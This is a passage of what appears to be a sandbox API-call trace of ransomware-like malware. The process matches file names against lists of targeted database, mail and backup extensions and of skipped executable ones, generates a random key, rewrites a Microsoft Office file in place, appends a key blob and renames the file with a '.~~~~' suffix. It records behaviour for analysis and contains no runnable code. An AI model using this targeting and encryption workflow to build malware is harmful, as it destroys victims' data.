	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0146.059] lstrlenW (lpString=".NDF") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".NDF") returned 0x0
	[0146.059] lstrlenW (lpString=".dat") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dat") returned 0x0
	[0146.059] lstrlenW (lpString=".DBS") returned 4
	[0146.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DBS") returned 0x0
	[0146.059] lstrlenW (lpString=".CKP") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".CKP") returned 0x0
	[0146.060] lstrlenW (lpString=".edb") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".edb") returned 0x0
	[0146.060] lstrlenW (lpString=".PST") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".PST") returned 0x0
	[0146.060] lstrlenW (lpString=".dbf") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dbf") returned 0x0
	[0146.060] lstrlenW (lpString=".SQL") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".SQL") returned 0x0
	[0146.060] lstrlenW (lpString=".pst") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".pst") returned 0x0
	[0146.060] lstrlenW (lpString=".dbv") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dbv") returned 0x0
	[0146.060] lstrlenW (lpString=".SDF") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".SDF") returned 0x0
	[0146.060] lstrlenW (lpString=".dtxs") returned 5
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0146.060] lstrlenW (lpString=".db3") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".db3") returned 0x0
	[0146.060] lstrlenW (lpString=".OST") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".OST") returned 0x0
	[0146.060] lstrlenW (lpString=".dbx") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dbx") returned 0x0
	[0146.060] lstrlenW (lpString=".DB3") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DB3") returned 0x0
	[0146.060] lstrlenW (lpString=".DAT") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DAT") returned 0x0
	[0146.060] lstrlenW (lpString=".VHDX") returned 5
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0146.060] lstrlenW (lpString=".ndf") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".ndf") returned 0x0
	[0146.060] lstrlenW (lpString=".DB") returned 3
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DB") returned 0x0
	[0146.060] lstrlenW (lpString=".sql") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".sql") returned 0x0
	[0146.060] lstrlenW (lpString=".MYD") returned 4
	[0146.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".MYD") returned 0x0
	[0146.061] lstrlenW (lpString=".DBT") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DBT") returned 0x0
	[0146.061] lstrlenW (lpString=".ACCDB") returned 6
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0146.061] lstrlenW (lpString=".fdb") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".fdb") returned 0x0
	[0146.061] lstrlenW (lpString=".bak") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".bak") returned 0x0
	[0146.061] lstrlenW (lpString=".myd") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".myd") returned 0x0
	[0146.061] lstrlenW (lpString=".DTXS") returned 5
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0146.061] lstrlenW (lpString=".ckp") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".ckp") returned 0x0
	[0146.061] lstrlenW (lpString=".dbt") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".dbt") returned 0x0
	[0146.061] lstrlenW (lpString=".db") returned 3
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".db") returned 0x0
	[0146.061] lstrlenW (lpString=".TXT") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".TXT") returned 0x0
	[0146.061] lstrlenW (lpString=".MDF") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".MDF") returned 0x0
	[0146.061] lstrlenW (lpString=".bdb") returned 4
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".bdb") returned 0x0
	[0146.061] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.061] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395da0) returned 1
	[0146.062] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.062] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.063] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26605264963) returned 1
	[0146.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0774510, dwHighDateTime=0x1d60e1e)) 
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2100
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2100 | out: hHeap=0x300000) returned 1
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.063] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.063] GetLastError () returned 0x0
	[0146.064] GetLastError () returned 0x0
	[0146.064] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.064] GetLastError () returned 0x0
	[0146.064] GetLastError () returned 0x0
	[0146.064] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0146.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.065] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0146.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.065] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.066] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.066] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.066] CloseHandle (hObject=0x114) returned 1
	[0146.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0146.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.~~~~")) returned 1
	[0146.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.068] GetLastError () returned 0x0
	[0146.068] RtlWakeConditionVariable () returned 0x0
	[0146.068] GetCurrentThreadId () returned 0xaf0
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0146.069] lstrlenW (lpString=".cmd") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0146.069] lstrlenW (lpString=".dll") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0146.069] lstrlenW (lpString=".bat") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0146.069] lstrlenW (lpString=".cpl") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0146.069] lstrlenW (lpString=".sys") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0146.069] lstrlenW (lpString=".msc") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0146.069] lstrlenW (lpString=".com") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".com") returned 0x0
	[0146.069] lstrlenW (lpString=".lnk") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0146.069] lstrlenW (lpString=".msp") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0146.069] lstrlenW (lpString=".pif") returned 4
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0146.069] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0146.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.071] lstrlenW (lpString=".sqb") returned 4
	[0146.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0146.071] lstrlenW (lpString=".ost") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0146.072] lstrlenW (lpString=".txt") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0146.072] lstrlenW (lpString=".mdt") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0146.072] lstrlenW (lpString=".BDB") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0146.072] lstrlenW (lpString=".eql") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0146.072] lstrlenW (lpString=".DBF") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0146.072] lstrlenW (lpString=".EQL") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0146.072] lstrlenW (lpString=".FDB") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0146.072] lstrlenW (lpString=".EDB") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0146.072] lstrlenW (lpString=".DACPAC") returned 7
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0146.072] lstrlenW (lpString=".VHD") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0146.072] lstrlenW (lpString=".DBV") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0146.072] lstrlenW (lpString=".dacpac") returned 7
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0146.072] lstrlenW (lpString=".sdf") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0146.072] lstrlenW (lpString=".accdb") returned 6
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0146.072] lstrlenW (lpString=".DBX") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0146.072] lstrlenW (lpString=".MDT") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0146.072] lstrlenW (lpString=".SQB") returned 4
	[0146.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0146.072] lstrlenW (lpString=".vhd") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0146.073] lstrlenW (lpString=".bac") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0146.073] lstrlenW (lpString=".mdf") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0146.073] lstrlenW (lpString=".BAK") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0146.073] lstrlenW (lpString=".BAC") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0146.073] lstrlenW (lpString=".dbs") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0146.073] lstrlenW (lpString=".vhdx") returned 5
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0146.073] lstrlenW (lpString=".NDF") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0146.073] lstrlenW (lpString=".dat") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0146.073] lstrlenW (lpString=".DBS") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0146.073] lstrlenW (lpString=".CKP") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0146.073] lstrlenW (lpString=".edb") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0146.073] lstrlenW (lpString=".PST") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0146.073] lstrlenW (lpString=".dbf") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0146.073] lstrlenW (lpString=".SQL") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0146.073] lstrlenW (lpString=".pst") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0146.073] lstrlenW (lpString=".dbv") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0146.073] lstrlenW (lpString=".SDF") returned 4
	[0146.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0146.073] lstrlenW (lpString=".dtxs") returned 5
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0146.074] lstrlenW (lpString=".db3") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0146.074] lstrlenW (lpString=".OST") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0146.074] lstrlenW (lpString=".dbx") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0146.074] lstrlenW (lpString=".DB3") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0146.074] lstrlenW (lpString=".DAT") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0146.074] lstrlenW (lpString=".VHDX") returned 5
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0146.074] lstrlenW (lpString=".ndf") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0146.074] lstrlenW (lpString=".DB") returned 3
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0146.074] lstrlenW (lpString=".sql") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0146.074] lstrlenW (lpString=".MYD") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0146.074] lstrlenW (lpString=".DBT") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0146.074] lstrlenW (lpString=".ACCDB") returned 6
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0146.074] lstrlenW (lpString=".fdb") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0146.074] lstrlenW (lpString=".bak") returned 4
